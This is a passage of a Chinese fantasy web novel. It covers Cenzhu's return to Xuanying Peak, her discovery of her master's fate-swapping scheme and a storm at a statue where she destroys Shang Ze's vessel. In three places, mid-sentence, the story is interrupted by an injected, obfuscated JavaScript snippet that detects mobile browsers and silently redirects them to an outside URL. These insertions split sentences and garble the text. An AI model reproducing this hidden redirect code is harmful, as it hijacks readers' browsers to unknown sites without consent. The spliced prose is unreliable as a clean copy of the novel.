芩竹对过去的依旧模糊,但对他口中的事能猜出七八分,她把商则扶稳去观察他的脸色。看不出什么,毕竟从一开始见面商则就是一幅鬼样,这会顶多有些有气无力。 她拽了拽了他的手,继续向上。 “三年过去,上面还会有人认得我和你吗。”芩竹主动说话,勉强算是给商则转移注意力。 身后的人沉吟片刻,才回答:“当然,你是整个玄英顶的亲师妹,而我跟着你,他们也忘不了。” 商则说完,悄悄喘气,再继续被压制得头昏脑胀。芩竹注意着他的状态,默不作声地握紧裹着她的手。 黑夜过去,白日来临,芩竹看着玄英顶的山门,那些悠远的记忆就像是尘封的卷轴被缓缓打开,她抬手慢慢拭去上面遮盖的尘土,画面逐渐清晰。 最先的,就是她被明夷牵着来到这座山门。 那会她还不识字,对着山门口宽大威严的山石好奇,明夷温柔地指着那三个字缓缓道……玄英顶。 然后,她的视角变高了,身旁不再是那位清瘦的师父,变成了一个穿着破烂的高大男人,这个人喋喋不休地给她讲着山下各种各样新奇的实物,好像永远不会疲倦。 从一身潦草,讲到一身红衣,从身边小心地说,再到后来跳去她面前讲,芩竹也能感受到自己越来越多的回应。 可出这座山门的时候总是少的,她和商则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137109|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至都没有凑齐一个完整的春夏秋冬。 寒风灌进她的脖子,被握紧的手更加紧了紧,她侧头去看,商则放开了她,深吸一口气踏上最后一节台阶,站在山门的宽阔平台上,一把揽过她。 “好了,咱们也算一同过了个冬。”商则说着,低头缠紧她的围脖,笑道,“看,我还不是上来了。” 话音刚落,前面闪过几道灵光,四位白衣佩剑的弟子现身,一位弟子向前一步抱拳,淡然开口:“二位已通过求仙道考验,不知是来拜师,还是——” “我找明夷师父。”芩竹也不废话了,直接打断他。 那人经这一遭终于抬起正眼看她,芩竹亦是抬眸与他对视……这张脸,没印象。 商则立在她旁边,默默将刚才帮她盖了大半张脸的围兜拽了些下来,和她一起对那四人望着。 打头那位拧眉看着这两人的动作,开口:“你们是?” “我是他徒弟,芩竹,劳烦带路。” “你是芩竹师妹?!” 这时,位于后方的一个弟子突然出声,快跑两步到前面,于芩竹隔着两步远的距离伸长脖子瞪她的脸,随即去拉打头那个板着脸的弟子,惊道:“真的是!一模一样——芩竹师妹你等等,我去找大长老。” 芩竹“多谢”还没说出来,那转身要跑的弟子又被拽了回来,打头的弟子表情从陌生变成不带善意,对着弟子说话却面向着芩竹,说:“芩竹师妹三年前死于常山,这是整个玄英顶都知道的事,凭你一句‘我是’在下就要放你进来,不合规矩。” 我莫名其妙死了算怎么回事?而且是三年前常山…… “你是说那道天雷?”商则压着脾气问。 打头的弟子沉沉点头,旁边的弟子有些犹豫,看看两边的人,斟酌道:“你就是商则吧,的确是这样,而且不只芩竹师妹,你也是。” 商则无语:“我也死了。” “是的。” “那明夷……明夷长老去是做什么了,林时乐又在哪?那两人加起来都不够把我和她救回来,连尸体都不愿搬?”商则眉头紧皱,表情不耐地向前一步,顿时脚下又是一阵刺痛,他咬咬牙,看着更是态度差劲。 门口的弟子开始还在听他说话,现在看他的样子都齐齐向前跨了一步作防卫状。 芩竹瞥了他一眼,也向前挪了一步,挡了商则一半。 从而也看清了前面弟子的横在身前的剑。 梦中她也有一把剑,现在自己和这里一点联系都没有,唯一能想起来的也只有它了。 于是芩竹心里循着记忆,抬手在胸前一握,立刻便有一把断剑凭空出现在她手里。 还真可以。 刚想把剑扔过去让那几人看看是不是玄英顶造的,还未开口,就听打头弟子大喝一声:“你要明闯?!” 接着那几人表情一变,就要向她招呼。 芩竹也是手比脑子快,当即抬剑挡下,又向下斩去。 大概是这把剑也太久未出来活动过了,这一击直接在山门口划了一道长又宽的裂痕,那几个弟子不敌,直直砸在后面的山石上。 山顶风大,一时寂静。 芩竹愣住,商则抿了抿唇,眨眼不说话。 “那个……”她拎着剑刚想狡辩一下,空中忽地射来几道银光,芩竹迅速提剑挡开,大风止住,一道女声惊讶响起。 “芩竹?” 60. 玄英顶 这声音听着耳熟,芩竹冲来人望去,还不忘收起剑给自己辩解:“我只是想给你们看看那把剑是不是和你们出自同一派。” 说话间,便又有一道人影显出,依旧是一身浅色衣衫,来人是位女子,气质文静,脚步稳重,而当下的表情却满是怀疑。 芩竹静静看着她向自己靠近,似乎要流泪似的。 “你是……”芩竹犹豫着小声道。 商则看看对面的人走看看芩竹,低下头耳语:“你师姐,叶云沁。” 叶云沁皱眉看着前面两人的举动,重新望向芩竹:“你不记得师姐了?” “有点印象,开始没有对上人,现在记起来了,”芩竹如实相告,向前一步,继续道,“师姐,我们来是想问一件事……现在又多了一件。我师父他在哪?” 叶云沁愣了愣,末了摇头无奈地笑:“果然啊,看你这样子就是我小师妹。” 芩竹有些莫名,又觉得自己问不出什么,干脆作罢,等着叶云沁接下来的回答。而那人上前来拍拍自己的头发和衣服,默默看了好几眼才开口。 “先跟我来吧。” 芩竹去看商则,想看看他身体怎么样,他倒是表情轻松非常,还有闲心去瞪一眼刚才拦路的人,看上去没什么大碍,她便安心跟着叶云沁。 他们直接被叶云沁接到了一座山头,芩竹顶着好奇四处去看,目光每到一处,便就有零散的记忆随之而来。 秋千和凉亭中的平地,是明夷从小教她习剑,季节交替后,变成了江云初,沈潭,还有叶云沁,这些人的模样在她脑海渐渐清晰,而后,幼时的自己去了凉亭喝茶,也长大了,在平地上的,成了商则。 她从回忆里走出来,再去看这满山落雪,竟是觉得心上也盖满厚雪,凄凄凉凉。 “三年前,明夷长老带着重伤的林师兄回山,还带回来了你和商则去世的消息。”叶云沁走到芩竹身边,淡淡开口,“起初我们也不相信,把常山上下翻了个遍,没有找到人,这才歇了心思。” 芩竹不知道说些什么好,于是选择沉默,叶云沁也别开眼,和她一起对着一片雪地发呆。 许久过去,芩竹才问:“师父是何时回来的?” “秋末。” 芩竹垂下眼,在梦里,那应该是夏末时分,而到秋末,自己已经去了别的地方了。 她又问:“那师父现在在哪,或者林师兄。” 叶云沁摇摇头:“林师兄你问不出什么,他重伤时的记忆都没有了,而人现在也在别处贪玩,至于明夷长老……已经许久未见了。” “什么意思?” “从这两年一直在闭关,大家都说,长老是要成仙了。”叶云沁道。 芩竹对他师父成不成仙没什么兴趣,在怀里翻找出一个木人,问叶云沁有没有见过,或者山上是否有人和峡州李家联系。 这问题倒是把叶云沁问得一懵,想了很久才说:“联系什么的不知道,但很久之前,确实有人来送过东西,是明夷长老的弟子接回去的。” 芩竹没有多想,就要去看明夷的屋子,被叶云沁拦了下:“芩竹,我以为你此番是要回家的。” “回家?”芩竹顿了下,对叶云沁道,“师姐,这件事情太长我一时半会和你解释不清,等我找到它再来和你讲。” 叶云沁定定看了她一会,轻轻叹了声:“我带你去,明夷长老有新收的弟子,他们不认得你,恐怕会有麻烦。” “……谢谢师姐。” 商则依旧在她们身后跟着,不怎么说话,这种相处方式好像稀松平常,芩竹也不怕他走丢了或者中途没有跟上,想起来了看一眼,那人就在身后冲她笑笑。 叶云沁说的带她去也不是什么正经办法,芩竹跟着她走了一条满是杂草乱石的路时,也颇为无奈,她的好师姐轻笑两声,只说自己也是没办法,总是不好擅闯长老的房间。 穿过这条路,总算是到了明夷的小院,叶云沁不好被发现,便把芩竹和商则扔在这,转去前面替他们引开别的弟子。 芩竹看着她走掉,心中复杂,却一时无从说起,别开眼带着商则一同钻进明夷的屋子。 屋中还是与记忆中一样,桌椅柜子整洁,飘着淡淡的香气,走在这里仿佛还能看见自己小的时候与明夷在一处的画面。 师父教她识字念书,闲暇之余还会给她讲讲别的趣事,再者…… 她的目光向屋中另一个房间看去,那里像是书房,正前方摆着桌子上面放着些散乱的纸笔,下方靠窗的位置则是还有另一个矮桌。 商则也顺着她的眼神看去,随即笑道:“我记得有一次你突然把我带过来和你坐在这里,说你师父讲的东西我也可以听听,结果他老人家讲的个个字我都听得懂,可连成句子就一个也不明白了。” 芩竹跟着他的话回忆,还真就想起来不少。 那次应该是在讲以命换命的咒术,本来明夷不是在讲这个,只是突然提到了,便讲了下去,但那时商则已经打盹去了。 好像是说…… “以布偶木人,生辰八字布局,便能转换命格……” 芩竹上前去捡纸业的动作一顿,又很快地低头翻看。桌上东西全是他们的字迹,她就去前方的桌子上翻。 商则奇怪,很着她走来走去,最后看她在一张纸前停下。 那上面画着几条线,从右下到左中再到右上,最后又连了回来,这几个点再一同指向圆圈的中心,反面随意写着几个大字——正宁二年七月初一,下面则是一堆密密麻麻的数字,最后圈出了一个时辰。 芩竹没说话,避过商则继续在桌上翻找,最后在烛台的下面找到了一张烧了半张的纸。 她仔细看了几眼,从怀里掏出从小寒那里得来的一半图纸,比对过后,正好合上。 商则看着芩竹的一系列动作,再加上刚才在纸上看见的那一串生辰,便猜出了个大概,此番她默不作声,他顿了顿开口:“明夷要换我的命格?” “……应该,但我想不通为什么,换给谁。”芩竹抓着那两张纸看。 商则挪过去,从她手里把纸揪出来展开,笑道:“说不定是那位玄英真君,你看,我的本体都和他有关。” “……”芩竹想不出来,就把怀里藏着的木人掏出来扔给商则,说,“这东西还是烧了吧,别留着了。” 是那个几个长得像商则的木人。 商则笑笑,依言烧了。 两人都对现在的状况有些莫名,商则自认和明夷没有多大的关系,仅有的几次联系都是因为芩竹,而且他的命格是什么好东西吗?如果不是为了他好,只是要给别人换,除非明夷和那个人有仇。 他这么想着,芩竹此时的想法也大差不差。 “你看这张纸,竖过来,是不是和地图上我们走的路线很像。”商则指着那张纸说,然后又对着中间的那个点看,这里…… “是姜绾她们去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151009|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那个大神像的地方。”芩竹沉声道。 她声音发虚,商则闻言侧头去看,见她快速地眨眼略带疑惑地看过来,又揉了揉眼睛,发现商则的眼神后,她带着倦意的声音回答:“困了。” 毕竟两人一夜没睡,困是正常的,商则想。 “我们也去那看看吧。”芩竹说着从桌边站起,胳膊不小心蹭到旁边立着的烛台,“咔”的一声,台子偏移,蜡烛上猛地亮起火光,紧接着屋中又各亮了几盏蜡烛。 芩竹赶忙避开,商则也抬眸去看。 亮起的烛火忽然拉长,和其他几簇火苗连在一起,在芩竹面前成了一个大的光圈。 在房中两人还都没反应过来的时候,光圈发出亮光,巨大吸力将她们二人卷了进去。 …… 陵南边上的小镇里,姜绾和麦子正坐在一家面馆吃面,行了一天一夜,好不容易休息好了来这里吃点热汤,两人别提有多开心,前半段只顾着吃面,后半段闲心上来,天南地北地聊着。 “……这地方挺好,芩竹的家,就那个什么顶也在这,以后咱们就在这待着吧。”姜绾说着说着便又想到这茬,末了仰着脑袋吐出一口白气,“也不知道他们在那山上怎么样了。” 麦子笑笑,摸摸已经凉了的面碗,从棚底伸手出去,又下雪了。 “不用担心他们,先看看咱们吧,雪又下起来了,也不知道还能不能去看看那位神仙。”麦子收回手搓了搓。 旁边有人听到她的话,也来搭话:“你们也去拜神仙?” 姜绾抬着筷子要摇不摇:“也不是,就是看看。” “去都去了,还是拜一拜吧,我听说国师终于又把神仙请下来了,峡州那边的疫病,还有之前辰州的麻烦,都是国师他老人家的功劳。” 这些事情怎么那么耳熟……姜绾两人互相对视一眼,愤愤地想,里头不应该有点她们的功劳吗! 可是这话也说不了,毕竟空口白牙和个路人也争不出什么,但既然这么说了,那神仙她们必须去拜一拜。 姜绾她们是从外地过来,人生地不熟,刚好旁边的路人去过,非常之热心地要带着她们去,两人也就笑笑领了情。 路上听这人说,那像又大又漂亮,一看就是花了大价钱,就是位置奇怪,立在山林里,也不是特别的风水宝地,加之现在下大雪,那位置说来更适合埋人。 大家都想不通国师的意图,猜来猜去,只能说是为了旺国运。 那地方也比较远,这会下午,去的人少,偶尔碰见两个也都是手里拿着香囊,听旁边人说,是祈福来的。 姜绾她们跟着那领路人一口气登上了山,这会雪花小了点,地上也不滑,多少驱散了两人心中奇怪的念头,前去看那个崭新的像。 这神像的确很大,但又没有之前在墓地里看到那个大,约莫不到两层楼,离得近也看不太清高处的一些细节,可还是能看到神像脖子上似乎挂着什么, “那是?” 麦子刚开口,面前忽然显出一个光圈,几人愣住,突然那圈中爆出大风,将三人吹得向后倒去,再爬起来时,已经被吹得从神像前面滚到了一大截山路台阶下面。 姜绾揉着身子爬起来,皱着脸看向那处,只见那神像脖子上的一个黑影发出浅光,猛地朝那大光圈飞去,下一刻,光圈消失,从里面摔出两道身影。 而风却越来越狂,卷起地上的厚雪在空中飞舞,还夹着浓重的阴寒气息。 61. 万物生 芩竹只听“叮”的一声,腰间的器物突然变得完整,同时,自己身上仿佛被山石压着,一下子跪倒在地,浓浓的困意袭来,身体不住地发虚。 她艰难地睁开眼,身边是席卷的雪粒,龙卷风一般将她和商则包裹在里面,巨大的压迫让她无法动弹。 商则把她拉起来,两人想要冲出这道屏障,却忽然感觉到有东西从侧方飞来,他赶忙带着芩竹下压身体,扭头一看,是一根铜针,还有个小的木人从空中跌下,又翻滚着被卷在风里。 他扶着芩竹起身,那人却越发的无力,整个人感觉轻飘飘的,她自己又腿脚发沉,商则急得唤道:“芩竹,怎么了……” 话还没说完,他看见了从四面八方飘来的浅浅白气,尽数涌进了她腰间那个黑色长条里。 那是他的本体,而白气,像是之前在石方县的命丝。 他想到了刚才明夷房里那个互换命格的说法。 芩竹晃晃脑袋,努力清醒着脑袋,她想把那个黑色的长条拽下来,却连手都抬不起来,她垂下眼,竟然发现能看到狼狈俯身的自己。 这是灵魂出窍了。 山风大作,满山的雪都卷上了天,包括杂乱的山石,山脚下的人不明所以,抬头遥望着远处冲天而上的龙卷风,他们中有的人看着看着,便闭上眼声息了去,躺在了地上。 龙卷风口直上的那处天空乌云密布,黑云越压越低,一道闪电直劈下来,随即又是几道,摧枯拉朽地砸在山头。 轰隆的巨响随之而来,过后又是一道惊雷砍在神像上。 芩竹垂头看下去,她好像看到了商则身上的虚影和她交换,那个黑色长条发出淡淡的光,继续吸纳着从远处而来的白气。 所以……是要她和商则的命格互换?可是为什么,她会这么累? 灵魂似乎越飘越高了,可以直面那尊神像,她看着这像,觉得奇怪,像是在照镜子。 但渐渐的,她愈发疲惫,身上压着的重量快要让她喘不过气,再次抬眼,那像就变得不同了,看着,像是明夷。 白光过去,又是雷电砸在像上。 无数祈福的百姓命丝被神像吸取缓缓没了呼吸,而芩竹看着起初为自己样貌的像相貌变换,突然明白了什么。 如果商则是要和玄英真君互换命格,现在应当已经成了,可不知不觉的,芩竹也走进了这个局里,带着商则的本体,在本体找全的那瞬间,三个个体同时互换,她成了和玄英像互换的人。 而由无数生人献祭做成的局,那些枉死的代价也从像后那人,嫁接给了她。 这像后面代表着谁?明夷? 天雷滚滚,在山头撒欢似的乱劈,姜绾和麦子拖着那个早就被吓晕过去的领路人漫无目的地逃窜。 下山的路却被滚落的山石截住了。 两人慌不择路,这时候什么都顾不了,看着路就注意不到天上砸下的雷。 姜绾崩溃大喊:“玄英真君呢,不会也被劈死了吧!” 麦子白她一眼,使劲拽了一把地上那个不省人事的拖累鬼:“早三年劈上天了!” 是哈是哈。 姜绾想着,好不容易找出一个空位能让她们挤出去,这时,又一道雷从天而降,两人只觉眼前溢满白光,顿时一步也动不了,满身汗毛竖起。 就在这时,一道人影瞬间显在眼前,那骇人的雷电顷刻消失不见,姜绾深吸一口气还在愣神,就被麦子拽了一把往山下跑:“你那个真君显灵了,快跑!” 姜绾忙应道,又下意识抬手把脑袋上的玉簪拿下来,那簪子变得普普通通,再没了之前的流光溢彩。 她不禁转头向身后山顶的神像处望去,心中隐约有个猜想。 几乎同时,原本快被活生生压死的芩竹骤然醒过神来,海水般的记忆冲入脑袋,什么都想了起来。 三年前的常山,那夜,也如今日般雷声大作。 她看见林时乐背上的商则突然失去神志,五指为刀燃起冷火,一把刺入林时乐的脖颈。 千钧一发之际,芩竹都不知道自己动作能那么快,闪身将商则的手刀挑偏了些,那火焰只烧了林时乐的肩头,而商则依旧不依不饶,只取林时乐的性命。 林子里雷雨齐落,终是她落了下风,商则那手即将穿过林时乐心口之时,天雷直要砸在商则身上。 同时,她看见商则的脸上蓦地显出莫名。 阴器为世间所不容,而他对付的又是有大气运的人,不劈他劈谁。 芩竹都不记得自己是怎么把木牌摘下来的,就记得当时木牌与那雷电相抵,空气动荡,三人都被震去一边。 暴雨倾泻而下,芩竹半跪在地上,耳边的痣变红,格外醒目,而她周身泛出金光,一道人影从她后显现,飘在半空,那人和她一模一样,只是穿戴华贵,眉目无情。 两个人影即将融合之时,芩竹的那个木牌又飞了回来,那道光影消失,重新钻进了牌子里。 她也撑不住,倒在了地上。 雨点落在脸上,有一人身穿白衣缓步而来,他踏着满地湿泥却不染半分,蹲身在芩竹身边,似乎要去拿她的那块木牌。 芩竹睁了睁眼,来人身上带着玄英顶特有的香,是师父来了。 她想抬手,却看那人好像被什么击中,猛地后撤许多步,诧异地盯了她很久。 芩竹疑惑,想告诉他商则和林时乐的事,却虚弱的无法开口。 再一看,明夷已经走到躺倒的那两人身边。 似乎是恍然大悟般,他看看芩竹,又看看地上的人,只见淡淡光过去,身穿白衣的人在地上捡起了什么,就离去了。 大雪裹成的风里,芩竹垂眸消化着她的记忆,还有很多更加遥远的回忆,她几乎分不出那究竟还是不是她。 所以……她只是下来历了个劫? 她的灵魂还在半空,不上不下的,这时候她神思清明了些才看清,商则抱着她的身体,眼神却是看向空中的她。 他的双手已经染得和红衣一般颜色,不知用了什么法子强行拽住了她。 两人隔空相望,商则忽然笑了,风中听到他欢快的声音:“我就是想和你道个别。” 芩竹愣愣看着他,在清楚了那些尘封的记忆以后,她知道他要做什么。 商则手上用力,芩竹灵魂一晃,她难受地闭眼,再睁开后,是在商则的怀里,他牵着她的手握住腰间的那个黑色长条,笑道:“你师父厉害,我也只能把你抢回来这点时间,再不动手,我也没办法了。” 她没说话,一如既往面无表情地看着眼前的笑脸,下一刻,用力捏碎了腰间的长条。 捏碎了商则的本体,那个传闻中阴器。 她明明没有法力,那长条却轻而易举碎成齑粉,商则的笑脸还在,只是眼神暗淡下来,半开玩笑地说:“一点都不留情,好疼啊……” 芩竹抿唇笑了下,天雷落下,商则的身影逐渐淡去,和那化为飞灰的黑色长条一般,卷进雪堆里。 而她周身的压力猛然消失,一股力量充盈全身,抬手便将这满山的风雪雷声止住。 飘远的灰,雪粒,和空中落下的雷,还有弹起的石块,全都静止下来。 芩竹拨开挡在视线之前的雪雾,看着那尊名叫玄英真君的像,平静如常。 还挺会取名字。 她淡淡一抬手,神像碎裂消失,两个身穿白袍的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她扯了裹在脖子上毛围兜,定睛一看,这草这树这花,她有多少年没见过如此鲜亮的颜色了…… “完了,见鬼了。”姜绾喃喃道。 “什么鬼?!”一声大吼,躺在地上的领路人鲤鱼打挺弹了起来,如临大敌警惕着旁边,四处看了看,以为自己还是在做梦,于是又激动地晕了过去。 姜绾和麦子同时无语将人打醒,拉着他向山下走去。 这才知,并不是梦,也不是幻境,是真的度过了雪季。 姜绾忽然想到了什么,她把手里捏着的那半根簪子举起给麦子看,示意她将她那一半也拿出来,麦子照做,两根簪子同样灰朴朴的。 两人对视,心中复杂。 姜绾拿过簪子,犹豫道:“总不能是芩竹又死了?” “不可能,她在玄英顶,这里的雷再大也不至于劈到那里去。”麦子认真分析。 “可是……”姜绾想说自己看见了两个很眼熟的人,但又不确定,只能催眠自己相信麦子的话。 她拿着簪子敲来敲去,又拿两边断口对上,左右移了移,忽然动不了了,姜绾低头眯着眼看,又捏着簪子尾端晃了晃。 竟是两根断簪又重新合成了一根。 姜绾眨眨眼,看麦子正坐在地上玩着旁边的花,她默默抬手把簪子怼进了那人的头发。 麦子以为她又是在恶作剧,理都不理拽下簪子反手敲在姜绾脑袋上,道:“再拿树枝往我头上戳,我……” 她话音一顿,看着手里重新闪过流光的整个簪子。 “哈哈,芩竹又活了。”姜绾干笑两声。 麦子:……